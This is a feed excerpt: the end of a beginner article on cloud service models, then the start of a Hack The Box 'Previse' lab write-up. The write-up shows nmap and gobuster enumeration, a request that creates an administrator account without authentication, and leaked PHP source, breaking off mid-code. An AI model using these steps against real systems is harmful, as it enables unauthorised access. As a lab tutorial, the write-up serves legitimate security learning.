&lt;p&gt;SaaS is the most common service purchased in the cloud computing industry. A quick way to define it is renting software to an enterprise to use and deploy within their own environment for organizational use. Popular examples would be Office 365, Zoom (enterprise), or GitHub. All three of these companies have a model that allows their software to be used for a subscription. All of the data is stored on their servers, so the customers don't even have to worry about physical storage, only paying the annual subscription. &lt;strong&gt;Imagine the SaaS client as a business that needs music for events. They rent an external band to play some select songs and use them for a fixed amount of time.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Platform-as-a-Service (PaaS):
&lt;/h3&gt;

&lt;p&gt;If SaaS allows organizations to rent finished enterprise-level software, PaaS allows organizations to rent the tools needed to build their own software. This might look like access to specific operating systems and architecture to build new software. Common examples are Microsoft Azure, Amazon Web Services, (AWS), and Google Cloud. &lt;strong&gt;Think of PaaS as the client is a music company that has some of the art tools, but they need temporary access to expensive instruments, certain musicians, and other tools. To create better music of their own.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Infrastructure-as-a-Service (IaaS):
&lt;/h3&gt;

&lt;p&gt;IaaS is a "bare metal" solution to build software from the ground up. IaaS Clients only need a basic workspace to build and test applications. Prime examples are DigitalOcean, IBM SmartCloud, and CloudStack. &lt;strong&gt;IaaS clients are like music companies that need to rent the recording studio, but bring all of their instruments, and vocalists, to record their music. They only need a stage.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.cloudflare.com/learning/cloud/what-is-the-cloud/"&gt;According to Cloudfare.com&lt;/a&gt;, there is another common type of cloud service:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Formerly, SaaS, PaaS, and IaaS were the three main models of cloud computing, and essentially all cloud services fit into one of these categories. However, in recent years a fourth model has emerged:&lt;/p&gt;

&lt;p&gt;Function-as-a-Service (FaaS): FaaS, also known as serverless computing, breaks cloud applications down into even smaller components that only run when they are needed. Imagine if it were possible to rent a house one little bit at a time: for instance, the tenant only pays for the dining room at dinner time, the bedroom while they are sleeping, the living room while they are watching TV, and when they are not using those rooms, they don't have to pay rent on them.&lt;br&gt;
FaaS or serverless applications still run on servers, as do all these models of cloud computing. But they are called "serverless" because they do not run on dedicated machines and because the companies building the applications do not have to manage any servers.&lt;/p&gt;

&lt;p&gt;Also, serverless functions scale up or duplicate, as more people use the application — imagine if the tenant's dining room could expand on-demand when more people come over for dinner! Learn more about serverless computing (FaaS).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now that we have an understanding of what the cloud is, how it works, and what it does, we can take a closer look at cloud architecture and how it could be attacked. Always remember two things: The first being that &lt;strong&gt;The cloud is just someone else's computer.&lt;/strong&gt; and to always ask better questions.&lt;/p&gt;

</description>
      <category>cloud</category>
      <category>beginners</category>
      <category>architecture</category>
      <category>devops</category>
    </item>
    <item>
      <title>Hack The Box Writeup: Previse - SSHad0w</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Sat, 08 Jan 2022 19:03:09 +0000</pubDate>
      <link>https://forem.com/sshad0w/hack-the-box-writeup-previse-sshad0w-4p33</link>
      <guid>https://forem.com/sshad0w/hack-the-box-writeup-previse-sshad0w-4p33</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0548lgl51c9bjhqhp87.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0548lgl51c9bjhqhp87.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is a beginner friendly writeup of Previse on Hack The Box. hope you learn something, because I sure did! Be sure to comment if you have any questions! &lt;/p&gt;

&lt;h1&gt;
  
  
  Recon
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Adding the ip to the &lt;code&gt;hosts&lt;/code&gt; file
&lt;/h2&gt;

&lt;p&gt;Before anything else, we will add the ip address to our &lt;code&gt;/etc/hosts&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo vi /etc/hosts&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Add the ip of the machine and the hostname to the file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nmap
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Nmap 7.91 scan initiated Thu Dec 30 21:53:49 2021 as: nmap -sCV -p22,80 -oN previse.nmap previse.htb
Nmap scan report for previse.htb (10.10.11.104)
Host is up (0.029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 30 21:53:56 2021 -- 1 IP address (1 host up) scanned in 7.87 seconds

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since there are few attacks that can be preformed on port 22, port 80 has the highest priority. Webservers normally have a lot of attack surface, so we'll inspect that first.&lt;/p&gt;

&lt;h2&gt;
  
  
  Port 80
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2vwlgsw10g52iiu9smrh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2vwlgsw10g52iiu9smrh.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Seems like a login portal... Nowhere to register so we can't login.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gobuster
&lt;/h2&gt;

&lt;p&gt;Gobuster is a common tool for enumerating webservers and learning more about the content being stored on server. It can expose obscure directories, find &lt;a href="https://en.wikipedia.org/wiki/Virtual_hosting" rel="noopener noreferrer"&gt;virtual hosts&lt;/a&gt; and arbitrary files that would be hard to find by manually fuzzing. Its often used by providing a wordlist to iterate through and search for information based on the wordlist provided.&lt;/p&gt;

&lt;h3&gt;
  
  
  Enumerating directories with Gobuster
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;gobuster dir -u http://previse.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This time, it returned very little, but it is always a good idea to check!&lt;/p&gt;

&lt;h3&gt;
  
  
  Enumerating Virtual Hosts with Gobuster
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;gobuster vhost -u previse.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This time, it returned nothing, but it is always a good idea to check!&lt;/p&gt;

&lt;h3&gt;
  
  
  Enumerating files with Gobuster
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;gobuster dir -u http://previse.htb -x php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;So we found some files!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Documents/htb/previse]
└─$ cat gobuster_file.txt | grep 200  
[+] Status codes:   200,204,301,302,307,401,403
/login.php (Status: 200)
/config.php (Status: 200)
/header.php (Status: 200)
/footer.php (Status: 200)
/nav.php (Status: 200)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's try enumerating each of the pages and learning what each of them are for. We can inspect them using a popular web application security audit tool, &lt;a href="https://www.geeksforgeeks.org/what-is-burp-suite/" rel="noopener noreferrer"&gt;Burp Suite&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;/nav&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;After inspecting each of the pages, I notice &lt;code&gt;/nav&lt;/code&gt; page displays a navigation page that leads to more directories on the site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvitnl00bel3vyo56dma.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvitnl00bel3vyo56dma.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;/index.php&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flbw43o0pjzsleiel2fv1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flbw43o0pjzsleiel2fv1.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Just the "main page". Often times &lt;code&gt;/index.php&lt;/code&gt; is just a splash page.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;/accounts.php&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxiesbpsvo5pzvkx8bapg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxiesbpsvo5pzvkx8bapg.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is clearly a page that only administrators should see. If we could find a way to control this page, we can create an account for ourselves and authenticate.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;/files.php&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8p87xcd0edty38qn4gd1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8p87xcd0edty38qn4gd1.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This page seems to be another "admin only" page. It has file upload/download functionality, so we may be able to leverage that later. &lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;/status.php&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzi8kfretubng5kkf3i75.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzi8kfretubng5kkf3i75.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This tells us that there is a SQL server online, the amount of files uploaded and shows how many administrators are logged in simultaneously. This information may be valuable later as well.&lt;/p&gt;

&lt;h2&gt;
  
  
  /file_logs.php
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb5mec8kb1kr6h4z8zih4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb5mec8kb1kr6h4z8zih4.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This page is responsible for outputting the logfiles as a comma, tab, or space delimited files.&lt;/p&gt;

&lt;h2&gt;
  
  
  Adding our own account
&lt;/h2&gt;

&lt;p&gt;I decided to just look at the source code of the page to add my own account.&lt;/p&gt;

&lt;p&gt;Looking back at the &lt;code&gt;/accounts.php&lt;/code&gt; page, we can see within the source code a few of the parameters required to create a new user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jdl7jcyu7cwkxzkoqnk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jdl7jcyu7cwkxzkoqnk.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see the typical &lt;code&gt;username&lt;/code&gt;,&lt;code&gt;password&lt;/code&gt; and &lt;code&gt;confirm&lt;/code&gt; fields. &lt;/p&gt;

&lt;p&gt;From here, we submit a request that creates an administrative account. &lt;/p&gt;

&lt;h3&gt;
  
  
  Adding the user
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;username=SSHad0w&amp;amp;password=SSHad0w&amp;amp;confirm=SSHad0w
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2lpcisothtot5ghytpxz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2lpcisothtot5ghytpxz.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Authenticated
&lt;/h2&gt;

&lt;p&gt;Once we submit the form, we are allowed to log in to the file hosting server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7tromhu3fagk20i52o3w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7tromhu3fagk20i52o3w.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Just to check, we browse over to the &lt;code&gt;status.php&lt;/code&gt; page to ensure that the number of admins increased.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffkjk7hydpnpr5dlp52dj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffkjk7hydpnpr5dlp52dj.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If you're using this box alone, there will only be 2 admins, but if you created multiple accounts or there are other people in the lab, you may see a higher number.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Downloading log files
&lt;/h2&gt;

&lt;p&gt;We can download log file as CSV, TSV, or SSV.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhsfm8wlirqlkxptuc5uw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhsfm8wlirqlkxptuc5uw.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Downloading the site backups
&lt;/h2&gt;

&lt;p&gt;Now that we have access, let's download the source code of the website.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy9pyaptjto7yn8h8pmvh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy9pyaptjto7yn8h8pmvh.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can unzip it with the &lt;code&gt;unzip&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyk4zhoqxhi72h8old3hf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyk4zhoqxhi72h8old3hf.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Source code disclosure
&lt;/h2&gt;

&lt;p&gt;Now, we can peer into the PHP to learn more about the site functionality and hunt of vulnerabilities using static source code analysis. Let's put our PHP hat on!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foq09yhpd3w5n4gtlfx6k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foq09yhpd3w5n4gtlfx6k.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;Download.php&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;download.php&lt;/code&gt; file contains the following:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuyxjmst3dgloovrmo3jc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuyxjmst3dgloovrmo3jc.png" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;                             
&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                  
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: login.php'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;                                 
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt; 

&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'config.php'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Log all file attempts, because security is important!!&lt;/span&gt;
    &lt;span class="nv"&gt;$logFilename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"/var/www/file_access.log"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$epochTime&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getdate&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="nv"&gt;$logMsg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$epochTime&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;file_put_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$logFilename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$logMsg&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;FILE_APPEND&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;filter_var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;FILTER_VALIDATE_INT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$fileId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;filter_var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;FILTER_SANITIZE_NUMBER_INT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nv"&gt;$db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;connectDB&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$db&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"ERROR: Could not connect. "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;connect_error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT name, size, data FROM files WHERE id = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$fileId&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; limit 1;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
